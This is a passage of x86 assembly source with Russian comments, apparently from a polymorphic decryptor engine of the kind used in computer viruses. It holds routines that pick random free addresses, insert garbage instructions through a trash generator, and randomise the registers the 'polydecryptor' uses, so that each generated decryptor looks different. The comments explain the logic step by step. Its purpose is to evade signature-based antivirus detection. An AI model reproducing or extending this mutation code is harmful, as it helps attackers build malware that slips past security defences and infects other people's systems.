;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция get_free_addr
;получение рэндомного свободного адреса для записи нужного количества байт
;ВХОД:
;(+)
;ВЫХОД:
;(+)
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
get_free_addr:
push edi ;[esp+12]
push esi ;[esp+08]
push ecx ;[esp+04]
push eax ;[esp+00]
_new_addr_:
push num_steps ;30
pop esi ;сколько попыток найти свободный адрес в заданном промежутке
_find_free_addr_:
dec esi
je _correct_new_addr_ ;если все попытки найти свободный адрес закончились (т.е. мы нихера не нашли свободный адрес), изменим наш диапазон поиска, сдвинув его вперед (в строну свободных адресов)
push max_portion ;а вот это диапазон, в котором искать будем свободный адрес
call [edx].rgen_addr
add eax,dword ptr [ebp-16] ;добавялем адрес, который является началом данного промежутка
xchg eax,edi
mov ecx,dword ptr [esp] ;далее в ecx кладем количество байт, которое надо будет позже записать (это мусорные команды + важные команды (скелет декриптора)) по свободному адресу
add ecx,size_general_instr+5+4+2+min_portion
xor eax,eax
push edi
repe scasb ;и проверяем, занято ли данное место?
pop edi
jne _find_free_addr_ ;если да, продолжаем искать
stosd ;иначе мы нашли свободный адрес, и корректируем edi (edi+=4, это нужно от коллизий)
jmp _ok_new_addr_ ;переходим дальше
_correct_new_addr_:
add dword ptr [ebp-16],min_portion;+1 ;изменим диапазон поиска свободных адресов
jmp _new_addr_
_ok_new_addr_:
push edi
cmp edi,dword ptr [esp+4+12] ;если полученный свободный адрес меньше, чем текущий, то ясное дело, нужно записать jmp для перехода на этот новый адрес
jle _jc_ok_
push size_general_instr+5+4+2+min_portion
pop ecx ;иначе, проверим, если текущий адрес стоит совсем рядом с новым, то jmp делать не будем, и заполним свободное место между ними мусором
std
xor eax,eax
repe scasb
cld
je _jc_ok_ ;если они рядом не стоят, тогда запишем jmp
cmp edi,dword ptr [esp+4+12]
jg _jc_ok_
mov edi,dword ptr [esp+4+12]
mov eax,dword ptr [esp]
sub eax,edi
call gen_trash
clc
jmp _getfaret_
_jc_ok_:
stc
_getfaret_:
pop eax
pop ecx
pop ecx
pop esi
pop edi
ret ;выходим
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции get_free_addr
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция gen_trash для вызова генератора мусора
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
gen_trash:
mov [ebp].buf_for_trash,edi
mov [ebp].size_trash,eax
mov [ebp].regs,ebx
push ebp
call [edx].tgen_addr
xchg eax,edi
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции gen_trash
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;функция gen_reg
;генерация занятых регистров (а зяняты они будут в полидекрипторе)
;ВЫХОД:
;bh - reg1
;bl - reg2
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
gen_reg:
_gen_reg1_:
call random_reg
cmp al,4
je _gen_reg1_
cmp al,5
je _gen_reg1_
xchg eax,ebx
_gen_reg2_:
call random_reg
cmp al,4
je _gen_reg2_
cmp al,5
je _gen_reg2_
cmp al,bl
je _gen_reg2_
mov bh,al
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции gen_reg
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;вспомогательная функция генерации случайного регистра
;ВЫХОД:
;eax - случайный регистр
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
random_reg:
push 8
call [edx].rgen_addr
ret
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;конец функции random_reg
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
;========================================================================================================
FINESize equ $ - FINE